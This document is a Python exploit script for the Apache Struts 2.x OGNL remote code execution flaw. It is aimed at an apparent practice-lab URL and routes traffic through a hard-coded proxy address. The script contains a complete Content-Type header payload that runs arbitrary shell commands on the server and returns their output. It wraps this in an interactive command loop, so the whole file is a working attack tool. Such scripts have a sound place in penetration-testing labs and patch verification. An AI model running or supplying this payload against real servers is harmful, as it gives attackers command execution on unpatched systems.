A script to exploit Struts 2.x RCE

struts2rce.py

'''
The following versions of Struts are affected:
	Struts 2.3.5
	Struts 2.3.31
	Struts 2.5
	Struts 2.5.10
'''

import requests

#################### EDIT BELLOW #########################

proxy = {"http": "http://200.123.182.25:8081"}	# You can add burp, anyother proxy or even go without proxy.
url = "http://ptl-b25057ac-0d58bb5e.libcurl.so/example/HelloWorld.action"

#################### EDIT ABOVE #########################


print("/\/\/\/\/ Starting /\/\/\/\/\n")

def getHeader(command):
	# Generate Payload Header
	payload = {"Content-Type": "%{(#n='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"}
	return payload


# Is the URL working, hmmm ?

res = requests.get(url)
if(res.status_code >= 400): print("[-] URL Not Reachable !"); exit()

print("[+] URL seems to be working fine :)")
print("[+] Setting up command interface.\n")

while 1:
	command = input("/\/\ Command => ")
	
	if(command == "exit"): print("[+] Happy Hacking :)\n"); break

	print("[+] Sending Payload.\n")
	
	if(len(command) < 1): continue
	
	res = requests.get(url, headers=getHeader(command), proxies=proxy)
	print(res.content.decode("utf-8"))